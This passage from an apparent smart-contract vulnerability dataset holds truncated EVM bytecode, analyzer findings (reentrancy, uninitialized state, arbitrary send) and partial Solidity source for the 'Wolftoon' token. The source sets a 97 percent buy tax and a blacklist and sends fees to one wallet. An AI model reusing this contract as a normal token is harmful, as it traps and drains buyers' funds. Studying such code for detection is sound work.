845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220423e4ebf7cc1688444bf31f017b90e3fc5d04732b43b5e50ad98389d1f71b6b264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,986
0x65ad25cb7281807b90ac5255f82be90093ae8b3a
/** *Submitted for verification at Etherscan.io on 2022-03-26 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Wolftoon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Wolftoon"; string private constant _symbol = "WOLF"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x86c415F8Ddf9D33C0363ea949700c387Ca9C5A24); address payable private _marketingAddress = payable(0x86c415F8Ddf9D33C0363ea949700c387Ca9C5A24); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i 